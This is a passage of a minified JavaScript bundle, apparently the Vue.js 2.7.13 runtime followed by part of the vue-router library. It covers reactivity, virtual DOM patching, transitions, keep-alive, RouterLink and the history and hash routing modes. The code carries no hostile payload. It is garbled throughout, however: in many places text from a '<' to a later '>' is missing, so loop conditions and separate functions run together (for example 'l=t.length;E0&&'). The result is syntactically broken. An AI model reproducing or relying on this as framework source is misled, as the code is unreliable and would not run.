global&&(global.process&&"server"===global.process.env.VUE_ENV)),ee},ne=N&&window.__VUE_DEVTOOLS_GLOBAL_HOOK__;function oe(e){return"function"==typeof e&&/native code/.test(e.toString())}var ie,ce="undefined"!=typeof Symbol&&oe(Symbol)&&"undefined"!=typeof Reflect&&oe(Reflect.ownKeys);ie="undefined"!=typeof Set&&oe(Set)?Set:function(){function e(){this.set=Object.create(null)}return e.prototype.has=function(e){return!0===this.set[e]},e.prototype.add=function(e){this.set[e]=!0},e.prototype.clear=function(){this.set=Object.create(null)},e}();var Ae=null;function me(e){void 0===e&&(e=null),e||Ae&&Ae._scope.off(),Ae=e,e&&e._scope.on()}var Be=function(){function e(e,t,E,l,r,a,n,o){this.tag=e,this.data=t,this.children=E,this.text=l,this.elm=r,this.ns=void 0,this.context=a,this.fnContext=void 0,this.fnOptions=void 0,this.fnScopeId=void 0,this.key=t&&t.key,this.componentOptions=n,this.componentInstance=void 0,this.parent=void 0,this.raw=!1,this.isStatic=!1,this.isRootInsert=!0,this.isComment=!1,this.isCloned=!1,this.isOnce=!1,this.asyncFactory=o,this.asyncMeta=void 0,this.isAsyncPlaceholder=!1}return Object.defineProperty(e.prototype,"child",{get:function(){return this.componentInstance},enumerable:!1,configurable:!0}),e}(),se=function(e){void 0===e&&(e="");var t=new Be;return t.text=e,t.isComment=!0,t};function de(e){return new Be(void 0,void 0,void 0,String(e))}function pe(e){var t=new Be(e.tag,e.data,e.children&&e.children.slice(),e.text,e.elm,e.context,e.componentOptions,e.asyncFactory);return t.ns=e.ns,t.isStatic=e.isStatic,t.key=e.key,t.isComment=e.isComment,t.fnContext=e.fnContext,t.fnOptions=e.fnOptions,t.fnScopeId=e.fnScopeId,t.asyncMeta=e.asyncMeta,t.isCloned=!0,t}var he=0,ue=[],ge=function(){function e(){this._pending=!1,this.id=he++,this.subs=[]}return e.prototype.addSub=function(e){this.subs.push(e)},e.prototype.removeSub=function(e){this.subs[this.subs.indexOf(e)]=null,this._pending||(this._pending=!0,ue.push(this))},e.prototype.depend=function(t){e.target&&e.target.addDep(this)},e.prototype.notify=function(e){var t=this.subs.filter((function(e){return e}));for(var E=0,l=t.length;E0&&(Ke((c=e(c,"".concat(E||"","_").concat(l)))[0])&&Ke(m)&&(B[A]=de(m.text+c[0].text),c.shift()),B.push.apply(B,c)):i(c)?Ke(m)?B[A]=de(m.text+c):""!==c&&B.push(de(c)):Ke(c)&&Ke(m)?B[A]=de(m.text+c.text):(o(t._isVList)&&n(c.tag)&&a(c.key)&&n(E)&&(c.key="__vlist".concat(E,"_").concat(l,"__")),B.push(c)));return B}(e):void 0}function Ke(e){return n(e)&&n(e.text)&&!1===e.isComment}function Ge(e,t){var E,l,a,o,i=null;if(r(e)||"string"==typeof e)for(i=new Array(e.length),E=0,l=e.length;E0,o=t?!!t.$stable:!n,i=t&&t.$key;if(t){if(t._normalized)return t._normalized;if(o&&r&&r!==l&&i===r.$key&&!n&&!r.$hasNormal)return r;for(var c in a={},t)t[c]&&"$"!==c[0]&&(a[c]=ht(e,E,c,t[c]))}else a={};for(var A in E)A in a||(a[A]=ut(E,A));return t&&Object.isExtensible(t)&&(t._normalized=a),V(a,"$stable",o),V(a,"$key",i),V(a,"$hasNormal",n),a}function ht(e,t,E,l){var a=function(){var t=Ae;me(e);var E=arguments.length?l.apply(null,arguments):l({}),a=(E=E&&"object"==typeof E&&!r(E)?[E]:He(E))&&E[0];return me(t),E&&(!a||1===E.length&&a.isComment&&!dt(a))?void 0:E};return l.proxy&&Object.defineProperty(t,E,{get:a,enumerable:!0,configurable:!0}),a}function ut(e,t){return function(){return e[t]}}function gt(e){return{get attrs(){if(!e._attrsProxy){var t=e._attrsProxy={};V(t,"_v_attr_proxy",!0),vt(t,e.$attrs,l,e,"$attrs")}return e._attrsProxy},get listeners(){e._listenersProxy||vt(e._listenersProxy={},e.$listeners,l,e,"$listeners");return e._listenersProxy},get slots(){return function(e){e._slotsProxy||ft(e._slotsProxy={},e.$scopedSlots);return e._slotsProxy}(e)},emit:P(e.$emit,e),expose:function(t){t&&Object.keys(t).forEach((function(E){return Qe(e,t,E)}))}}}function vt(e,t,E,l,r){var a=!1;for(var n in t)n in e?t[n]!==E[n]&&(a=!0):(a=!0,yt(e,n,l,r));for(var n in e)n in t||(a=!0,delete e[n]);return a}function yt(e,t,E,l){Object.defineProperty(e,t,{enumerable:!0,configurable:!0,get:function(){return E[l][t]}})}function ft(e,t){for(var E in t)e[E]=t[E];for(var E in e)E in t||delete e[E]}var bt=null;function Ct(e,t){return(e.__esModule||ce&&"Module"===e[Symbol.toStringTag])&&(e=e.default),A(e)?t.extend(e):e}function Ft(e){if(r(e))for(var t=0;tdocument.createEvent("Event").timeStamp&&(iE=function(){return cE.now()})}var AE=function(e,t){if(e.post){if(!t.post)return 1}else if(t.post)return-1;return e.id-t.id};function mE(){var e,t;for(oE=iE(),aE=!0,tE.sort(AE),nE=0;nEnE&&tE[E].id>e.id;)E--;tE.splice(E+1,0,e)}else tE.push(e);rE||(rE=!0,qt(mE))}}function sE(e,t){if(e){for(var E=Object.create(null),l=ce?Reflect.ownKeys(e):Object.keys(e),r=0;r-1)if(a&&!b(r,"default"))n=!1;else if(""===n||n===w(e)){var i=LE(String,r.type);(i<0||o-1:"string"==typeof e?e.split(",").indexOf(t)>-1:!!s(e)&&e.test(t)}function KE(e,t){var E=e.cache,l=e.keys,r=e._vnode;for(var a in E){var n=E[a];if(n){var o=n.name;o&&!t(o)&&GE(E,a,l,r)}}}function GE(e,t,E,l){var r=e[t];!r||l&&r.tag===l.tag||r.componentInstance.$destroy(),e[t]=null,y(E,t)}zE.prototype._init=function(e){var t=this;t._uid=WE++,t._isVue=!0,t.__v_skip=!0,t._scope=new Je(!0),t._scope._vm=!0,e&&e._isComponent?function(e,t){var E=e.$options=Object.create(e.constructor.options),l=t._parentVnode;E.parent=t.parent,E._parentVnode=l;var r=l.componentOptions;E.propsData=r.propsData,E._parentListeners=r.listeners,E._renderChildren=r.children,E._componentTag=r.tag,t.render&&(E.render=t.render,E.staticRenderFns=t.staticRenderFns)}(t,e):t.$options=PE(VE(t.constructor),e||{},t),t._renderProxy=t,t._self=t,function(e){var t=e.$options,E=t.parent;if(E&&!t.abstract){for(;E.$options.abstract&&E.$parent;)E=E.$parent;E.$children.push(e)}e.$parent=E,e.$root=E?E.$root:e,e.$children=[],e.$refs={},e._provided=E?E._provided:Object.create(null),e._watcher=null,e._inactive=null,e._directInactive=!1,e._isMounted=!1,e._isDestroyed=!1,e._isBeingDestroyed=!1}(t),function(e){e._events=Object.create(null),e._hasHookEvent=!1;var t=e.$options._parentListeners;t&&Ht(e,t)}(t),function(e){e._vnode=null,e._staticTrees=null;var t=e.$options,E=e.$vnode=t._parentVnode,r=E&&E.context;e.$slots=Bt(t._renderChildren,r),e.$scopedSlots=E?pt(e.$parent,E.data.scopedSlots,e.$slots):l,e._c=function(t,E,l,r){return Dt(e,t,E,l,r,!1)},e.$createElement=function(t,E,l,r){return Dt(e,t,E,l,r,!0)};var a=E&&E.data;Le(e,"$attrs",a&&a.attrs||l,null,!0),Le(e,"$listeners",t._parentListeners||l,null,!0)}(t),eE(t,"beforeCreate",void 0,!1),function(e){var t=sE(e.$options.inject,e);t&&(Me(!1),Object.keys(t).forEach((function(E){Le(e,E,t[E])})),Me(!0))}(t),IE(t),function(e){var t=e.$options.provide;if(t){var E=c(t)?t.call(e):t;if(!A(E))return;for(var l=Ze(e),r=ce?Reflect.ownKeys(E):Object.keys(E),a=0;a1?_(E):E;for(var l=_(arguments,1),r='event handler for "'.concat(e,'"'),a=0,n=E.length;aparseInt(this.max)&&GE(e,t[0],t,this._vnode),this.vnodeToCache=null}}},created:function(){this.cache=Object.create(null),this.keys=[]},destroyed:function(){for(var e in this.cache)GE(this.cache,e,this.keys)},mounted:function(){var e=this;this.cacheVNode(),this.$watch("include",(function(t){KE(e,(function(e){return HE(t,e)}))})),this.$watch("exclude",(function(t){KE(e,(function(e){return!HE(t,e)}))}))},updated:function(){this.cacheVNode()},render:function(){var e=this.$slots.default,t=Ft(e),E=t&&t.componentOptions;if(E){var l=NE(E),r=this.include,a=this.exclude;if(r&&(!l||!HE(r,l))||a&&l&&HE(a,l))return t;var n=this.cache,o=this.keys,i=null==t.key?E.Ctor.cid+(E.tag?"::".concat(E.tag):""):t.key;n[i]?(t.componentInstance=n[i].componentInstance,y(o,i),o.push(i)):(this.vnodeToCache=t,this.keyToCache=i),t.data.keepAlive=!0}return t||e&&e[0]}}};!function(e){var t={get:function(){return J}};Object.defineProperty(e,"config",t),e.util={warn:bE,extend:M,mergeOptions:PE,defineReactive:Le},e.set=Ue,e.delete=Re,e.nextTick=qt,e.observable=function(e){return je(e),e},e.options=Object.create(null),Q.forEach((function(t){e.options[t+"s"]=Object.create(null)})),e.options._base=e,M(e.options.components,YE),function(e){e.use=function(e){var t=this._installedPlugins||(this._installedPlugins=[]);if(t.indexOf(e)>-1)return this;var E=_(arguments,1);return E.unshift(this),c(e.install)?e.install.apply(e,E):c(e)&&e.apply(null,E),t.push(e),this}}(e),function(e){e.mixin=function(e){return this.options=PE(this.options,e),this}}(e),$E(e),function(e){Q.forEach((function(t){e[t]=function(e,E){return E?("component"===t&&B(E)&&(E.name=E.name||e,E=this.options._base.extend(E)),"directive"===t&&c(E)&&(E={bind:E,update:E}),this.options[t+"s"][e]=E,E):this.options[t+"s"][e]}}))}(e)}(zE),Object.defineProperty(zE.prototype,"$isServer",{get:ae}),Object.defineProperty(zE.prototype,"$ssrContext",{get:function(){return this.$vnode&&this.$vnode.ssrContext}}),Object.defineProperty(zE,"FunctionalRenderContext",{value:dE}),zE.version="2.7.13";var el=g("style,class"),tl=g("input,textarea,option,select,progress"),El=g("contenteditable,draggable,spellcheck"),ll=g("events,caret,typing,plaintext-only"),rl=g("allowfullscreen,async,autofocus,autoplay,checked,compact,controls,declare,default,defaultchecked,defaultmuted,defaultselected,defer,disabled,enabled,formnovalidate,hidden,indeterminate,inert,ismap,itemscope,loop,multiple,muted,nohref,noresize,noshade,novalidate,nowrap,open,pauseonexit,readonly,required,reversed,scoped,seamless,selected,sortable,truespeed,typemustmatch,visible"),al="http://www.w3.org/1999/xlink",nl=function(e){return":"===e.charAt(5)&&"xlink"===e.slice(0,5)},ol=function(e){return nl(e)?e.slice(6,e.length):""},il=function(e){return null==e||!1===e};function cl(e){for(var t=e.data,E=e,l=e;n(l.componentInstance);)(l=l.componentInstance._vnode)&&l.data&&(t=Al(l.data,t));for(;n(E=E.parent);)E&&E.data&&(t=Al(t,E.data));return function(e,t){if(n(e)||n(t))return ml(e,Bl(t));return""}(t.staticClass,t.class)}function Al(e,t){return{staticClass:ml(e.staticClass,t.staticClass),class:n(e.class)?[e.class,t.class]:t.class}}function ml(e,t){return e?t?e+" "+t:e:t||""}function Bl(e){return Array.isArray(e)?function(e){for(var t,E="",l=0,r=e.length;l-1?Ul(e,t,E):rl(t)?il(E)?e.removeAttribute(t):(E="allowfullscreen"===t&&"EMBED"===e.tagName?"true":t,e.setAttribute(t,E)):El(t)?e.setAttribute(t,function(e,t){return il(t)||"false"===t?"false":"contenteditable"===e&&ll(t)?t:"true"}(t,E)):nl(t)?il(E)?e.removeAttributeNS(al,ol(t)):e.setAttributeNS(al,t,E):Ul(e,t,E)}function Ul(e,t,E){if(il(E))e.removeAttribute(t);else{if(K&&!G&&"TEXTAREA"===e.tagName&&"placeholder"===t&&""!==E&&!e.__ieph){var l=function(t){t.stopImmediatePropagation(),e.removeEventListener("input",l)};e.addEventListener("input",l),e.__ieph=!0}e.setAttribute(t,E)}}var Rl={create:jl,update:jl};function Il(e,t){var E=t.elm,l=t.data,r=e.data;if(!(a(l.staticClass)&&a(l.class)&&(a(r)||a(r.staticClass)&&a(r.class)))){var o=cl(t),i=E._transitionClasses;n(i)&&(o=ml(o,Bl(i))),o!==E._prevClass&&(E.setAttribute("class",o),E._prevClass=o)}}var ql,Ql={create:Il,update:Il};function Ol(e,t,E){var l=ql;return function r(){var a=t.apply(null,arguments);null!==a&&Wl(e,r,E,l)}}var Jl=Mt&&!(te&&Number(te[1])<=53);function Zl(e,t,E,l){if(Jl){var r=oE,a=t;t=a._wrapper=function(e){if(e.target===e.currentTarget||e.timeStamp>=r||e.timeStamp<=0||e.target.ownerDocument!==document)return a.apply(this,arguments)}}ql.addEventListener(e,t,le?{capture:E,passive:l}:E)}function Wl(e,t,E,l){(l||ql).removeEventListener(e,t._wrapper||t,E)}function Vl(e,t){if(!a(e.data.on)||!a(t.data.on)){var E=t.data.on||{},l=e.data.on||{};ql=t.elm||e.elm,function(e){if(n(e.__r)){var t=K?"change":"input";e[t]=[].concat(e.__r,e[t]||[]),delete e.__r}n(e.__c)&&(e.change=[].concat(e.__c,e.change||[]),delete e.__c)}(E),ze(E,l,Zl,Wl,Ol,t.context),ql=void 0}}var zl,$l={create:Vl,update:Vl,destroy:function(e){return Vl(e,Cl)}};function Nl(e,t){if(!a(e.data.domProps)||!a(t.data.domProps)){var E,l,r=t.elm,i=e.data.domProps||{},c=t.data.domProps||{};for(E in(n(c.__ob__)||o(c._v_attr_proxy))&&(c=t.data.domProps=M({},c)),i)E in c||(r[E]="");for(E in c){if(l=c[E],"textContent"===E||"innerHTML"===E){if(t.children&&(t.children.length=0),l===i[E])continue;1===r.childNodes.length&&r.removeChild(r.childNodes[0])}if("value"===E&&"PROGRESS"!==r.tagName){r._value=l;var A=a(l)?"":String(l);Hl(r,A)&&(r.value=A)}else if("innerHTML"===E&&pl(r.tagName)&&a(r.innerHTML)){(zl=zl||document.createElement("div")).innerHTML="".concat(l,"");for(var m=zl.firstChild;r.firstChild;)r.removeChild(r.firstChild);for(;m.firstChild;)r.appendChild(m.firstChild)}else if(l!==i[E])try{r[E]=l}catch(e){}}}}function Hl(e,t){return!e.composing&&("OPTION"===e.tagName||function(e,t){var E=!0;try{E=document.activeElement!==e}catch(e){}return E&&e.value!==t}(e,t)||function(e,t){var E=e.value,l=e._vModifiers;if(n(l)){if(l.number)return u(E)!==u(t);if(l.trim)return E.trim()!==t.trim()}return E!==t}(e,t))}var Kl={create:Nl,update:Nl},Gl=C((function(e){var t={},E=/:(.+)/;return e.split(/;(?![^(]*\))/g).forEach((function(e){if(e){var l=e.split(E);l.length>1&&(t[l[0].trim()]=l[1].trim())}})),t}));function Xl(e){var t=Yl(e.style);return e.staticStyle?M(e.staticStyle,t):t}function Yl(e){return Array.isArray(e)?x(e):"string"==typeof e?Gl(e):e}var er,tr=/^--/,Er=/\s*!important$/,lr=function(e,t,E){if(tr.test(t))e.style.setProperty(t,E);else if(Er.test(E))e.style.setProperty(w(t),E.replace(Er,""),"important");else{var l=ar(t);if(Array.isArray(E))for(var r=0,a=E.length;r-1?t.split(ir).forEach((function(t){return e.classList.add(t)})):e.classList.add(t);else{var E=" ".concat(e.getAttribute("class")||""," ");E.indexOf(" "+t+" ")<0&&e.setAttribute("class",(E+t).trim())}}function Ar(e,t){if(t&&(t=t.trim()))if(e.classList)t.indexOf(" ")>-1?t.split(ir).forEach((function(t){return e.classList.remove(t)})):e.classList.remove(t),e.classList.length||e.removeAttribute("class");else{for(var E=" ".concat(e.getAttribute("class")||""," "),l=" "+t+" ";E.indexOf(l)>=0;)E=E.replace(l," ");(E=E.trim())?e.setAttribute("class",E):e.removeAttribute("class")}}function mr(e){if(e){if("object"==typeof e){var t={};return!1!==e.css&&M(t,Br(e.name||"v")),M(t,e),t}return"string"==typeof e?Br(e):void 0}}var Br=C((function(e){return{enterClass:"".concat(e,"-enter"),enterToClass:"".concat(e,"-enter-to"),enterActiveClass:"".concat(e,"-enter-active"),leaveClass:"".concat(e,"-leave"),leaveToClass:"".concat(e,"-leave-to"),leaveActiveClass:"".concat(e,"-leave-active")}})),sr=N&&!G,dr="transition",pr="transitionend",hr="animation",ur="animationend";sr&&(void 0===window.ontransitionend&&void 0!==window.onwebkittransitionend&&(dr="WebkitTransition",pr="webkitTransitionEnd"),void 0===window.onanimationend&&void 0!==window.onwebkitanimationend&&(hr="WebkitAnimation",ur="webkitAnimationEnd"));var gr=N?window.requestAnimationFrame?window.requestAnimationFrame.bind(window):setTimeout:function(e){return e()};function vr(e){gr((function(){gr(e)}))}function yr(e,t){var E=e._transitionClasses||(e._transitionClasses=[]);E.indexOf(t)<0&&(E.push(t),cr(e,t))}function fr(e,t){e._transitionClasses&&y(e._transitionClasses,t),Ar(e,t)}function br(e,t,E){var l=Fr(e,t),r=l.type,a=l.timeout,n=l.propCount;if(!r)return E();var o="transition"===r?pr:ur,i=0,c=function(){e.removeEventListener(o,A),E()},A=function(t){t.target===e&&++i>=n&&c()};setTimeout((function(){i0&&(E="transition",A=n,m=a.length):"animation"===t?c>0&&(E="animation",A=c,m=i.length):m=(E=(A=Math.max(n,c))>0?n>c?"transition":"animation":null)?"transition"===E?a.length:i.length:0,{type:E,timeout:A,propCount:m,hasTransform:"transition"===E&&Cr.test(l[dr+"Property"])}}function Dr(e,t){for(;e.length1}function Mr(e,t){!0!==t.data.show&&Sr(t)}var xr=function(e){var t,E,l={},c=e.modules,A=e.nodeOps;for(t=0;td?y(e,a(E[u+1])?null:E[u+1].elm,E,s,u,l):s>u&&b(t,m,d)}(m,p,u,E,c):n(u)?(n(e.text)&&A.setTextContent(m,""),y(m,null,u,0,u.length-1,E)):n(p)?b(p,0,p.length-1):n(e.text)&&A.setTextContent(m,""):e.text!==t.text&&A.setTextContent(m,t.text),n(d)&&n(s=d.hook)&&n(s=s.postpatch)&&s(e,t)}}}function k(e,t,E){if(o(E)&&n(e.parent))e.parent.data.pendingInsert=t;else for(var l=0;l-1,n.selected!==a&&(n.selected=a);else if(U(Rr(n),l))return void(e.selectedIndex!==o&&(e.selectedIndex=o));r||(e.selectedIndex=-1)}}function Ur(e,t){return t.every((function(t){return!U(t,e)}))}function Rr(e){return"_value"in e?e._value:e.value}function Ir(e){e.target.composing=!0}function qr(e){e.target.composing&&(e.target.composing=!1,Qr(e.target,"input"))}function Qr(e,t){var E=document.createEvent("HTMLEvents");E.initEvent(t,!0,!0),e.dispatchEvent(E)}function Or(e){return!e.componentInstance||e.data&&e.data.transition?e:Or(e.componentInstance._vnode)}var Jr={model:Tr,show:{bind:function(e,t,E){var l=t.value,r=(E=Or(E)).data&&E.data.transition,a=e.__vOriginalDisplay="none"===e.style.display?"":e.style.display;l&&r?(E.data.show=!0,Sr(E,(function(){e.style.display=a}))):e.style.display=l?a:"none"},update:function(e,t,E){var l=t.value;!l!=!t.oldValue&&((E=Or(E)).data&&E.data.transition?(E.data.show=!0,l?Sr(E,(function(){e.style.display=e.__vOriginalDisplay})):wr(E,(function(){e.style.display="none"}))):e.style.display=l?e.__vOriginalDisplay:"none")},unbind:function(e,t,E,l,r){r||(e.style.display=e.__vOriginalDisplay)}}},Zr={name:String,appear:Boolean,css:Boolean,mode:String,type:String,enterClass:String,leaveClass:String,enterToClass:String,leaveToClass:String,enterActiveClass:String,leaveActiveClass:String,appearClass:String,appearActiveClass:String,appearToClass:String,duration:[Number,String,Object]};function Wr(e){var t=e&&e.componentOptions;return t&&t.Ctor.options.abstract?Wr(Ft(t.children)):e}function Vr(e){var t={},E=e.$options;for(var l in E.propsData)t[l]=e[l];var r=E._parentListeners;for(var l in r)t[D(l)]=r[l];return t}function zr(e,t){if(/\d-keep-alive$/.test(t.tag))return e("keep-alive",{props:t.componentOptions.propsData})}var $r=function(e){return e.tag||dt(e)},Nr=function(e){return"show"===e.name},Hr={name:"transition",props:Zr,abstract:!0,render:function(e){var t=this,E=this.$slots.default;if(E&&(E=E.filter($r)).length){0;var l=this.mode;0;var r=E[0];if(function(e){for(;e=e.parent;)if(e.data.transition)return!0}(this.$vnode))return r;var a=Wr(r);if(!a)return r;if(this._leaving)return zr(e,r);var n="__transition-".concat(this._uid,"-");a.key=null==a.key?a.isComment?n+"comment":n+a.tag:i(a.key)?0===String(a.key).indexOf(n)?a.key:n+a.key:a.key;var o=(a.data||(a.data={})).transition=Vr(this),c=this._vnode,A=Wr(c);if(a.data.directives&&a.data.directives.some(Nr)&&(a.data.show=!0),A&&A.data&&!function(e,t){return t.key===e.key&&t.tag===e.tag}(a,A)&&!dt(A)&&(!A.componentInstance||!A.componentInstance._vnode.isComment)){var m=A.data.transition=M({},o);if("out-in"===l)return this._leaving=!0,$e(m,"afterLeave",(function(){t._leaving=!1,t.$forceUpdate()})),zr(e,r);if("in-out"===l){if(dt(a))return c;var B,s=function(){B()};$e(o,"afterEnter",s),$e(o,"enterCancelled",s),$e(m,"delayLeave",(function(e){B=e}))}}return r}}},Kr=M({tag:String,moveClass:String},Zr);function Gr(e){e.elm._moveCb&&e.elm._moveCb(),e.elm._enterCb&&e.elm._enterCb()}function Xr(e){e.data.newPos=e.elm.getBoundingClientRect()}function Yr(e){var t=e.data.pos,E=e.data.newPos,l=t.left-E.left,r=t.top-E.top;if(l||r){e.data.moved=!0;var a=e.elm.style;a.transform=a.WebkitTransform="translate(".concat(l,"px,").concat(r,"px)"),a.transitionDuration="0s"}}delete Kr.mode;var ea={Transition:Hr,TransitionGroup:{props:Kr,beforeMount:function(){var e=this,t=this._update;this._update=function(E,l){var r=Gt(e);e.__patch__(e._vnode,e.kept,!1,!0),e._vnode=e.kept,r(),t.call(e,E,l)}},render:function(e){for(var t=this.tag||this.$vnode.data.tag||"span",E=Object.create(null),l=this.prevChildren=this.children,r=this.$slots.default||[],a=this.children=[],n=Vr(this),o=0;o-1?ul[e]=t.constructor===window.HTMLUnknownElement||t.constructor===window.HTMLElement:ul[e]=/HTMLUnknownElement/.test(t.toString())},M(zE.options.directives,Jr),M(zE.options.components,ea),zE.prototype.__patch__=N?xr:T,zE.prototype.$mount=function(e,t){return function(e,t,E){var l;e.$el=t,e.$options.render||(e.$options.render=se),eE(e,"beforeMount"),l=function(){e._update(e._render(),E)},new Vt(e,l,T,{before:function(){e._isMounted&&!e._isDestroyed&&eE(e,"beforeUpdate")}},!0),E=!1;var r=e._preWatchers;if(r)for(var a=0;a=0&&(t=e.slice(l),e=e.slice(0,l));var r=e.indexOf("?");return r>=0&&(E=e.slice(r+1),e=e.slice(0,r)),{path:e,query:E,hash:t}}(r.path||""),c=t&&t.path||"/",A=i.path?fa(i.path,c,E||r.append):c,m=function(e,t,E){void 0===t&&(t={});var l,r=E||ia;try{l=r(e||"")}catch(e){l={}}for(var a in t){var n=t[a];l[a]=Array.isArray(n)?n.map(oa):oa(n)}return l}(i.query,r.query,l&&l.options.parseQuery),B=r.hash||i.hash;return B&&"#"!==B.charAt(0)&&(B="#"+B),{_normalized:!0,path:A,query:m,hash:B}}var Ja,Za=function(){},Wa={name:"RouterLink",props:{to:{type:[String,Object],required:!0},tag:{type:String,default:"a"},custom:Boolean,exact:Boolean,exactPath:Boolean,append:Boolean,replace:Boolean,activeClass:String,exactActiveClass:String,ariaCurrentValue:{type:String,default:"page"},event:{type:[String,Array],default:"click"}},render:function(e){var t=this,E=this.$router,l=this.$route,r=E.resolve(this.to,l,this.append),a=r.location,n=r.route,o=r.href,i={},c=E.options.linkActiveClass,A=E.options.linkExactActiveClass,m=null==c?"router-link-active":c,B=null==A?"router-link-exact-active":A,s=null==this.activeClass?m:this.activeClass,d=null==this.exactActiveClass?B:this.exactActiveClass,p=n.redirectedFrom?ma(null,Oa(n.redirectedFrom),null,E):n;i[d]=ha(l,p,this.exactPath),i[s]=this.exact||this.exactPath?i[d]:function(e,t){return 0===e.path.replace(Aa,"/").indexOf(t.path.replace(Aa,"/"))&&(!t.hash||e.hash===t.hash)&&function(e,t){for(var E in t)if(!(E in e))return!1;return!0}(e.query,t.query)}(l,p);var h=i[d]?this.ariaCurrentValue:null,u=function(e){Va(e)&&(t.replace?E.replace(a,Za):E.push(a,Za))},g={click:Va};Array.isArray(this.event)?this.event.forEach((function(e){g[e]=u})):g[this.event]=u;var v={class:i},y=!this.$scopedSlots.$hasNormal&&this.$scopedSlots.default&&this.$scopedSlots.default({href:o,route:n,navigate:u,isActive:i[s],isExactActive:i[d]});if(y){if(1===y.length)return y[0];if(y.length>1||!y.length)return 0===y.length?e():e("span",{},y)}if("a"===this.tag)v.on=g,v.attrs={href:o,"aria-current":h};else{var f=function e(t){var E;if(t)for(var l=0;l-1&&(o.params[B]=E.params[B]);return o.path=Qa(A.path,o.params),i(A,o,n)}if(o.path){o.params={};for(var s=0;s-1}function Cn(e,t){return bn(e)&&e._isRouter&&(null==t||e.type===t)}function Fn(e,t,E){var l=function(r){r>=e.length?E():e[r]?t(e[r],(function(){l(r+1)})):l(r+1)};l(0)}function Dn(e){return function(t,E,l){var r=!1,a=0,n=null;kn(e,(function(e,t,E,o){if("function"==typeof e&&void 0===e.cid){r=!0,a++;var i,c=Pn((function(t){var r;((r=t).__esModule||wn&&"Module"===r[Symbol.toStringTag])&&(t=t.default),e.resolved="function"==typeof t?t:Ja.extend(t),E.components[o]=t,--a<=0&&l()})),A=Pn((function(e){var t="Failed to resolve async component "+o+": "+e;n||(n=bn(e)?e:new Error(t),l(n))}));try{i=e(c,A)}catch(e){A(e)}if(i)if("function"==typeof i.then)i.then(c,A);else{var m=i.component;m&&"function"==typeof m.then&&m.then(c,A)}}})),r||l()}}function kn(e,t){return Sn(e.map((function(e){return Object.keys(e.components).map((function(E){return t(e.components[E],e.instances[E],e,E)}))})))}function Sn(e){return Array.prototype.concat.apply([],e)}var wn="function"==typeof Symbol&&"symbol"==typeof Symbol.toStringTag;function Pn(e){var t=!1;return function(){for(var E=[],l=arguments.length;l--;)E[l]=arguments[l];if(!t)return t=!0,e.apply(this,E)}}var _n=function(e,t){this.router=e,this.base=function(e){if(!e)if(za){var t=document.querySelector("base");e=(e=t&&t.getAttribute("href")||"/").replace(/^https?:\/\/[^\/]+/,"")}else e="/";"/"!==e.charAt(0)&&(e="/"+e);return e.replace(/\/$/,"")}(t),this.current=sa,this.pending=null,this.ready=!1,this.readyCbs=[],this.readyErrorCbs=[],this.errorCbs=[],this.listeners=[]};function Mn(e,t,E,l){var r=kn(e,(function(e,l,r,a){var n=function(e,t){"function"!=typeof e&&(e=Ja.extend(e));return e.options[t]}(e,t);if(n)return Array.isArray(n)?n.map((function(e){return E(e,l,r,a)})):E(n,l,r,a)}));return Sn(l?r.reverse():r)}function xn(e,t){if(t)return function(){return e.apply(t,arguments)}}_n.prototype.listen=function(e){this.cb=e},_n.prototype.onReady=function(e,t){this.ready?e():(this.readyCbs.push(e),t&&this.readyErrorCbs.push(t))},_n.prototype.onError=function(e){this.errorCbs.push(e)},_n.prototype.transitionTo=function(e,t,E){var l,r=this;try{l=this.router.match(e,this.current)}catch(e){throw this.errorCbs.forEach((function(t){t(e)})),e}var a=this.current;this.confirmTransition(l,(function(){r.updateRoute(l),t&&t(l),r.ensureURL(),r.router.afterHooks.forEach((function(e){e&&e(l,a)})),r.ready||(r.ready=!0,r.readyCbs.forEach((function(e){e(l)})))}),(function(e){E&&E(e),e&&!r.ready&&(Cn(e,un.redirected)&&a===sa||(r.ready=!0,r.readyErrorCbs.forEach((function(t){t(e)}))))}))},_n.prototype.confirmTransition=function(e,t,E){var l=this,r=this.current;this.pending=e;var a,n,o=function(e){!Cn(e)&&bn(e)&&(l.errorCbs.length?l.errorCbs.forEach((function(t){t(e)})):console.error(e)),E&&E(e)},i=e.matched.length-1,c=r.matched.length-1;if(ha(e,r)&&i===c&&e.matched[i]===r.matched[c])return this.ensureURL(),e.hash&&rn(this.router,r,e,!1),o(((n=yn(a=r,e,un.duplicated,'Avoided redundant navigation to current location: "'+a.fullPath+'".')).name="NavigationDuplicated",n));var A=function(e,t){var E,l=Math.max(e.length,t.length);for(E=0;E0)){var t=this.router,E=t.options.scrollBehavior,l=dn&&E;l&&this.listeners.push(ln());var r=function(){var E=e.current,r=jn(e.base);e.current===sa&&r===e._startLocation||e.transitionTo(r,(function(e){l&&rn(t,e,E,!0)}))};window.addEventListener("popstate",r),this.listeners.push((function(){window.removeEventListener("popstate",r)}))}},t.prototype.go=function(e){window.history.go(e)},t.prototype.push=function(e,t,E){var l=this,r=this.current;this.transitionTo(e,(function(e){pn(ba(l.base+e.fullPath)),rn(l.router,e,r,!1),t&&t(e)}),E)},t.prototype.replace=function(e,t,E){var l=this,r=this.current;this.transitionTo(e,(function(e){hn(ba(l.base+e.fullPath)),rn(l.router,e,r,!1),t&&t(e)}),E)},t.prototype.ensureURL=function(e){if(jn(this.base)!==this.current.fullPath){var t=ba(this.base+this.current.fullPath);e?pn(t):hn(t)}},t.prototype.getCurrentLocation=function(){return jn(this.base)},t}(_n);function jn(e){var t=window.location.pathname,E=t.toLowerCase(),l=e.toLowerCase();return!e||E!==l&&0!==E.indexOf(ba(l+"/"))||(t=t.slice(e.length)),(t||"/")+window.location.search+window.location.hash}var Ln=function(e){function t(t,E,l){e.call(this,t,E),l&&function(e){var t=jn(e);if(!/^\/#/.test(t))return window.location.replace(ba(e+"/#"+t)),!0}(this.base)||Un()}return e&&(t.__proto__=e),t.prototype=Object.create(e&&e.prototype),t.prototype.constructor=t,t.prototype.setupListeners=function(){var e=this;if(!(this.listeners.length>0)){var t=this.router.options.scrollBehavior,E=dn&&t;E&&this.listeners.push(ln());var l=function(){var t=e.current;Un()&&e.transitionTo(Rn(),(function(l){E&&rn(e.router,l,t,!0),dn||Qn(l.fullPath)}))},r=dn?"popstate":"hashchange";window.addEventListener(r,l),this.listeners.push((function(){window.removeEventListener(r,l)}))}},t.prototype.push=function(e,t,E){var l=this,r=this.current;this.transitionTo(e,(function(e){qn(e.fullPath),rn(l.router,e,r,!1),t&&t(e)}),E)},t.prototype.replace=function(e,t,E){var 